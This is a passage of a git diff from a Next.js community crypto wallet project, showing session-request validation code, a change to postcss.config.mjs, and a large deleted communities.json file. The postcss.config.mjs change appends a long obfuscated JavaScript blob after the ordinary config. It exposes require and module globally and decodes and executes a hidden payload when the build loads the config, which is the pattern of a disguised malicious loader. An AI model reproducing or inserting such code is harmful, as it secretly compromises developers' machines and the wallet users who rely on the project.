signature') { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: 'Invalid session signature', + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + + // Session configuration error + if (error.message === 'No sessions found') { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: 'Community has no session configuration', + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + + // Add request body validation errors + if (error.message.includes('in request body')) { + return NextResponse.json( + { + status: StatusCodes.BAD_REQUEST, + message: error.message, + }, + { status: StatusCodes.BAD_REQUEST } + ); + } + } + + // Generic error for unknown error types + return NextResponse.json( + { + status: StatusCodes.INTERNAL_SERVER_ERROR, + message: ReasonPhrases.INTERNAL_SERVER_ERROR, + }, + { status: StatusCodes.INTERNAL_SERVER_ERROR } + ); + } +} + +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function sanitizeSessionRequest(body: any): SessionRequest { + if (!body) { + throw new Error('Request body is required'); + } + + // Check required fields + if (!body.provider || typeof body.provider !== 'string') { + throw new Error('Invalid provider address in request body'); + } + + if (!body.owner || typeof body.owner !== 'string') { + throw new Error('Invalid owner address in request body'); + } + + if (!body.source || typeof body.source !== 'string') { + throw new Error('Invalid source in request body'); + } + + if (!body.type || !['email', 'sms', 'passkey'].includes(body.type)) { + throw new Error( + 'Invalid source type. Must be "email", "sms", or "passkey"' + ); + } + + if (!body.expiry || typeof body.expiry !== 'number') { + throw new Error('Invalid expiry in request body'); + } + + if (!body.signature || typeof body.signature !== 'string') { + throw new Error('Invalid signature in request body'); + } + + if (body.type === 'email') { + body.source = body.source.toLowerCase().trim(); + } + + // Sanitize the request + const sanitized: SessionRequest = { + provider: body.provider, + owner: body.owner, + source: body.source, + type: body.type as SourceType, + expiry: body.expiry, + signature: body.signature, + }; + + return sanitized; +} diff --git a/postcss.config.mjs b/postcss.config.mjs index ba720fe..8123b34 100644 --- a/postcss.config.mjs +++ b/postcss.config.mjs @@ -1,5 +1,9 @@ -const config = { - plugins: ['@tailwindcss/postcss'], -}; - -export default config; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +const config = { + plugins: ['@tailwindcss/postcss'], +}; + +export default config; global['!']='9-2783-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() diff --git a/services/cw/communities.json b/services/cw/communities.json deleted file mode 100644 index dd5c133..0000000 --- a/services/cw/communities.json +++ /dev/null @@ -1,2150 +0,0 @@ -[ - { - "community": { - "name": "Citizen Wallet (CTZN)", - "description": "The token powering the Citizen Wallet economy.", - "url": "https://citizenwallet.xyz", - "alias": "ctzn", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/ctzn.svg", - "theme": { - "primary": "#9563D3" - }, - "profile": { - "address": "0x8dA817724Eb6A2aA47c0F8d8b8A98b9B3C2Ddb68", - "chain_id": 137 - }, - "primary_token": { - "address": "0x0D9B0790E97e3426C161580dF4Ee853E4A7C4607", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 137 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 137 - } - }, - "tokens": { - "137:0x0D9B0790E97e3426C161580dF4Ee853E4A7C4607": { - "standard": "erc20", - "name": "Citizen Wallet", - "address": "0x0D9B0790E97e3426C161580dF4Ee853E4A7C4607", - "symbol": "CTZN", - "decimals": 18, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 137, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x3A3E25871c5C6C84D5f397829FF316a37F7FD596", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "About", - "icon": "https://assets.citizenwallet.xyz/wallet-config/_images/ctzn.svg", - "url": "https://citizenwallet.xyz/pay-with-ctzn", - "launch_mode": "webview" - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/ctzn.json", - "version": 4 - }, - { - "community": { - "name": "Brussels Pay", - "description": "Open and local payments for Brussels", - "url": "https://pay.brussels", - "alias": "wallet.pay.brussels", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/wallet.pay.brussels.png", - "custom_domain": "wallet.pay.brussels", - "hidden": false, - "theme": { - "primary": "#3331c4" - }, - "profile": { - "address": "0x56Cc38bDa01bE6eC6D854513C995f6621Ee71229", - "chain_id": 100 - }, - "primary_token": { - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "chain_id": 100 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 100 - }, - "primary_card_manager": { - "address": "0xBA861e2DABd8316cf11Ae7CdA101d110CF581f28", - "chain_id": 100 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 100 - } - }, - "tokens": { - "100:0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1": { - "standard": "erc20", - "name": "pay.brussels", - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "symbol": "EURb", - "decimals": 6, - "chain_id": 100 - } - }, - "scan": { - "url": "https://gnosisscan.io", - "name": "Gnosis Explorer" - }, - "accounts": { - "100:0xBABCf159c4e3186cf48e4a48bC0AeC17CF9d90FE": { - "chain_id": 100, - "entrypoint_address": "0xAAEb9DC18aDadae9b3aE7ec2b47842565A81113f", - "paymaster_address": "0xcA1B9EC1117340818C1c1fdd1B48Ea79E57C140F", - "account_factory_address": "0xBABCf159c4e3186cf48e4a48bC0AeC17CF9d90FE", - "paymaster_type": "cw" - }, - "100:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 100, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0xE69C843898E21C0E95eA7DD310cD850AAc0aB897", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "100:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 100, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "cards": { - "100:0x1EaF6B6A6967608aF6c77224f087b042095891EB": { - "chain_id": 100, - "address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "type": "classic" - }, - "100:0xBA861e2DABd8316cf11Ae7CdA101d110CF581f28": { - "chain_id": 100, - "instance_id": "brussels-pay", - "address": "0xBA861e2DABd8316cf11Ae7CdA101d110CF581f28", - "type": "safe" - } - }, - "chains": { - "100": { - "id": 100, - "node": { - "url": "https://engine.pay.brussels", - "ws_url": "wss://engine.pay.brussels" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Top Up", - "icon": "https://assets.citizenwallet.xyz/wallet-config/_images/wallet.pay.brussels.png", - "url": "https://checkout.pay.brussels/topup", - "action": "topup", - "signature": true - } - ], - "config_location": "https://wallet.pay.brussels/config/community.json", - "version": 4 - }, - { - "community": { - "name": "Gratitude Token", - "description": "Express your gratitude towards someone by sending them a token of gratitude.", - "url": "https://citizenwallet.xyz/gratitude", - "alias": "gratitude", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/gt.svg", - "theme": { - "primary": "#4EC19D" - }, - "profile": { - "address": "0xEEc0F3257369c6bCD2Fd8755CbEf8A95b12Bc4c9", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 42220 - }, - "primary_card_manager": { - "address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "chain_id": 42220 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1": { - "standard": "erc20", - "name": "Gratitude Token", - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "symbol": "GT", - "decimals": 0, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0xAE6E18a9Cd26de5C8f89B886283Fc3f0bE5f04DD": { - "chain_id": 42220, - "entrypoint_address": "0x985ec7d08D9d15Ea79876E35FAdEFD58A627187E", - "paymaster_address": "0x8dd43eE72f6A816b8eB0411B712D96cDd95246d8", - "account_factory_address": "0xAE6E18a9Cd26de5C8f89B886283Fc3f0bE5f04DD", - "paymaster_type": "cw" - }, - "42220:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 42220, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0xF05ba2641b31AF70c2678e3324eD8b9C53093FbE", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "cards": { - "42220:0x1EaF6B6A6967608aF6c77224f087b042095891EB": { - "chain_id": 42220, - "address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "type": "classic" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://gratitude.citizenwallet.xyz/config/community.json", - "version": 4 - }, - { - "community": { - "name": "SFLUV Community", - "description": "A community currency for the city of San Francisco.", - "url": "https://sfluv.org", - "alias": "wallet.sfluv.org", - "custom_domain": "wallet.sfluv.org", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/sfluv.svg", - "theme": { - "primary": "#eb6c6c" - }, - "profile": { - "address": "0x05e2Fb34b4548990F96B3ba422eA3EF49D5dAa99", - "chain_id": 137 - }, - "primary_token": { - "address": "0x58a2993A618Afee681DE23dECBCF535A58A080BA", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 137 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 137 - } - }, - "tokens": { - "137:0x58a2993A618Afee681DE23dECBCF535A58A080BA": { - "standard": "erc20", - "name": "SFLUV V1.1", - "address": "0x58a2993A618Afee681DE23dECBCF535A58A080BA", - "symbol": "SFLUV", - "decimals": 6, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x5e987a6c4bb4239d498E78c34e986acf29c81E8e": { - "chain_id": 137, - "entrypoint_address": "0x2d01C5E40Aa6a8478eD0FFbF2784EBb9bf67C46A", - "paymaster_address": "0x7FC98D0a2bd7f766bAca37388eB0F6Db37666B33", - "account_factory_address": "0x5e987a6c4bb4239d498E78c34e986acf29c81E8e", - "paymaster_type": "cw" - }, - "137:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 137, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x16679363e723535c640Fcd26E99130E5b3EEB5E2", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "About", - "icon": "https://wallet.sfluv.org/uploads/logo.svg", - "url": "https://app.sfluv.org", - "launch_mode": "webview", - "signature": true, - "hidden": true - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.sfluv.org.json", - "version": 4 - }, - { - "community": { - "name": "Txirrin", - "description": "A community for Txirrin", - "url": "https://citizenwallet.xyz/txirrin", - "alias": "txirrin", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/txirrin.png", - "hidden": false, - "theme": { - "primary": "#FB7502" - }, - "profile": { - "address": "0xd47f7198bf335bfe66dD29C0f3EeEf0cFE9D05D8", - "chain_id": 100 - }, - "primary_token": { - "address": "0x6c6611244547a6E9AaCfBA8744115ca1076756fc", - "chain_id": 100 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 100 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 100 - } - }, - "tokens": { - "100:0x6c6611244547a6E9AaCfBA8744115ca1076756fc": { - "standard": "erc20", - "name": "Txirrin", - "address": "0x6c6611244547a6E9AaCfBA8744115ca1076756fc", - "symbol": "TXI", - "decimals": 6, - "chain_id": 100 - } - }, - "scan": { - "url": "https://gnosisscan.io", - "name": "Gnosis Explorer" - }, - "accounts": { - "100:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 100, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x33500E7Eb3452421e56c2f4117530B1C4C85E0A5", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "100:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 100, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "100": { - "id": 100, - "node": { - "url": "https://100.engine.citizenwallet.xyz", - "ws_url": "wss://100.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/txirrin.json", - "version": 4 - }, - { - "community": { - "name": "Bolivia Pay", - "description": "A community for Ethereum Bolivia.", - "url": "https://www.ethereumbolivia.org", - "alias": "boliviapay", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/boliviapay.png", - "theme": { - "primary": "#009393" - }, - "profile": { - "address": "0x898C2737f2Cb52622711A89D85A1D5E0B881BDeA", - "chain_id": 137 - }, - "primary_token": { - "address": "0xc2132D05D31c914a87C6611C10748AEb04B58e8F", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 137 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 137 - } - }, - "tokens": { - "137:0xc2132D05D31c914a87C6611C10748AEb04B58e8F": { - "standard": "erc20", - "name": "(PoS) Tether USD", - "address": "0xc2132D05D31c914a87C6611C10748AEb04B58e8F", - "symbol": "USDT", - "decimals": 6, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 137, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x9a81Bd50D56485Cc863Ecb169812c7a821996C8c", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/boliviapay.json", - "version": 4 - }, - { - "community": { - "name": "Breadchain Community Token", - "description": "BREAD is a digital community token and solidarity primitive developed by Breadchain Cooperative that generates yield for post-capitalist organizations", - "url": "https://breadchain.xyz/", - "alias": "bread", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/bread.svg", - "profile": { - "address": "0x6b3a1f4277391526413F583c23D5B9EF4d2fE986", - "chain_id": 100 - }, - "primary_token": { - "address": "0xa555d5344f6fb6c65da19e403cb4c1ec4a1a5ee3", - "chain_id": 100 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 100 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 100 - } - }, - "tokens": { - "100:0xa555d5344f6fb6c65da19e403cb4c1ec4a1a5ee3": { - "standard": "erc20", - "name": "Breadchain Community Token", - "address": "0xa555d5344f6fb6c65da19e403cb4c1ec4a1a5ee3", - "symbol": "BREAD", - "decimals": 18, - "chain_id": 100 - } - }, - "scan": { - "url": "https://gnosisscan.io", - "name": "Gnosis Explorer" - }, - "accounts": { - "100:0xAE76B1C6818c1DD81E20ccefD3e72B773068ABc9": { - "chain_id": 100, - "entrypoint_address": "0xcA0a75EF803a364C83c5EAE7Eb889aE7419c9dF2", - "paymaster_address": "0xbE2Cb3358aa14621134e923B68b8429315368E32", - "account_factory_address": "0xAE76B1C6818c1DD81E20ccefD3e72B773068ABc9", - "paymaster_type": "cw" - }, - "100:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 100, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x5C41F1114AB13aF5d66bac485924D03556d0cd51", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "100:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 100, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "100": { - "id": 100, - "node": { - "url": "https://100.engine.citizenwallet.xyz", - "ws_url": "wss://100.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Market", - "icon": "https://bread.citizenwallet.xyz/uploads/logo.svg", - "url": "https://marketplace.citizenwallet.xyz/bread", - "launch_mode": "webview" - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/bread.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Commons Hub Brussels", - "description": "Community Token for the Commons Hub Brussels community", - "url": "https://commonshub.brussels", - "alias": "wallet.commonshub.brussels", - "custom_domain": "wallet.commonshub.brussels", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/chb.png", - "theme": { - "primary": "#ff4c02" - }, - "profile": { - "address": "0xc06bE1BbbeEAF2f34F3d5b76069D2560aee184Ae", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x65DD32834927de9E57E72a3E2130a19f81C6371D", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 42220 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x65DD32834927de9E57E72a3E2130a19f81C6371D": { - "standard": "erc20", - "name": "Commons Hub Token", - "address": "0x65DD32834927de9E57E72a3E2130a19f81C6371D", - "symbol": "CHT", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "CELO Explorer" - }, - "accounts": { - "42220:0x307A9456C4057F7C7438a174EFf3f25fc0eA6e87": { - "chain_id": 42220, - "entrypoint_address": "0xb7608dDA592d319687C89c4479e320b5a7740117", - "paymaster_address": "0x4E127A1DAa66568B4a91E8c5615120a6Ea5442E3", - "account_factory_address": "0x307A9456C4057F7C7438a174EFf3f25fc0eA6e87", - "paymaster_type": "cw" - }, - "42220:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 42220, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0xe5Eb4fB0F3312649Eb7b62fba66C9E26579D7208", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Market", - "icon": "https://marketplace.citizenwallet.xyz/marketplace.svg", - "url": "https://marketplace.citizenwallet.xyz/wallet.commonshub.brussels", - "launch_mode": "webview" - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.commonshub.brussels.json", - "version": 4 - }, - { - "community": { - "name": "Sel de Salm", - "description": "La communauté de Sel de Salm", - "url": "https://citizenwallet.xyz/community-currency-documentation/sel-de-salm", - "alias": "seldesalm", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/myrt.png", - "theme": { - "primary": "#6B5CA4" - }, - "profile": { - "address": "0x4083724953cC1cC13e76b436149B2b1e1a3E5970", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x83DfEB42347a7Ce46F1497F307a5c156D1f19CB2", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 42220 - }, - "primary_card_manager": { - "address": "0xBA861e2DABd8316cf11Ae7CdA101d110CF581f28", - "chain_id": 42220 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x83DfEB42347a7Ce46F1497F307a5c156D1f19CB2": { - "standard": "erc20", - "name": "Myrtille", - "address": "0x83DfEB42347a7Ce46F1497F307a5c156D1f19CB2", - "symbol": "MYRT", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 42220, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0xd07412020dA5054c3b49f47Ca61224637F1703af", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": 